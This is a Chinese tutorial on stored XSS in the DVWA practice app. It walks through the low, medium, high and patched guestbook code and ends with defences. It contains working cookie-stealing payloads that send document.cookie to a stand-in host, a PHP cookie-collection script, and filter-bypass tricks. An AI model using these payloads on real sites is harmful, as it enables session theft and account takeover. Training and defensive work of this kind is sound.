1. 程式人生 > >DVWA 黑客攻防實戰(十一) 儲存型 XSS 攻擊 Stored Cross Site Scripting

DVWA 黑客攻防實戰(十一) 儲存型 XSS 攻擊 Stored Cross Site Scripting

上一篇文章會介紹了反射型 XSS 攻擊。本文主要是通過 dvwa 介紹儲存型 XSS 攻擊。儲存型 XSS 攻擊影響範圍極大。比如是微博、貼吧之類的,若有注入漏洞,再假如攻擊者能用上一篇文章類似的程式碼獲取使用者的 cookies,想想如果程式碼中再加入自動轉發功能,每個看過那條微博的使用者都會被偷 cookies 和自動轉發!像網路病毒一樣的傳播速度啊!恐怖如斯!

低階

功能很簡單。點選提交就會有相應的文字。 此時,Hacker 在裡面輸入 <script>alert(1)</script>

也就是有注入漏洞了。於是 Hacker 再輸入了 <script src="//www.a.com/test.js"></script>

//test.js
var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

然後所有看到這條資訊的使用者的 cookies 就會被偷走了。 而低階的程式碼是這樣的,沒有做任何的防護

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );

    // Sanitize name input
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

中級

中級程式碼,會意識到這個問題 所以會對 message 進行處理

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

然而百密一疏,name 欄位只有去掉 script 字串 和用mysql_real_escape_string函式進行轉義
所有可以利用 name 欄位注入

Hacker 輸入在 Name 欄位輸入 前端那裡有個字元長度的限制。你可以用火狐直接將 maxlength 改大,或者用 brupSuite 的改就可以了。 所以這程式碼最後還是可以被注入的。

高階

高階程式碼 對 name 的驗證有所改變。

<?php
  //...

  // Sanitize name input
  $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
  $name = mysql_real_escape_string( $name );

  //...
?>

如果看過上一篇文章,應該會了解。這樣的程式碼可以用 img 等元素繞過的。 <img src=x onerror="e=escape;this.src='//www.a.com?cookies='+e(document.cookie)"> 要改下 www.a.com/index.php 因為原本只是記錄 cookies 到檔案中,不返回圖片的。這段注入程式碼執行後會不斷地發請求的。所以改成返回一張圖片就可以了。比如

<?php
$name = 'gakki.jpg';
$fp = fopen($name, 'rb');

header("Content-Type: image/png");
header("Content-Length: " . filesize($name));

fpassthru($fp);
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>

結果如下

沉迷我老婆美色的時候,cookie 就被偷走了

不可能

不可能級別有

  • anti-token 機制防 CSRF 攻擊
  • 使用 db->prepare  預編譯,繫結引數的方式,防 SQL 攻擊
  • name 和 message 引數通過 htmlspecialchars 等函式防禦
<?php
    
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    
    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );
    
    // Sanitize name input
    $name = stripslashes( $name );
    $name = mysql_real_escape_string( $name );
    $name = htmlspecialchars( $name );
    
    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}
    
// Generate Anti-CSRF token
generateSessionToken();
    
?>

防禦 XSS 攻擊

下面是防禦 XSS 攻擊的措施

  • 引數校驗,比如中高階的如果 name 引數後端也判斷了長度不能超過 10。 攻擊者注入的難度的增大很多了。比如百度網盤這個案例
  • 後端可以使用 HttpOnly 的方式,之前的攻擊手段基本會用 document.cookies 就能獲取當前網頁的 cookie 了。 比如這樣
<?php
    header("Set-Cookie: cookie1=test1");
    header("Set-Cookie: cookie2=test2;httponly",false)
?>
<script>
    alert(document.cookie);
</script>

只會把 cookie1=test1 彈窗。就算有漏洞也可以減少損失

  • 輸出的檢查,比如 php 中 htmlspecialchars 函式。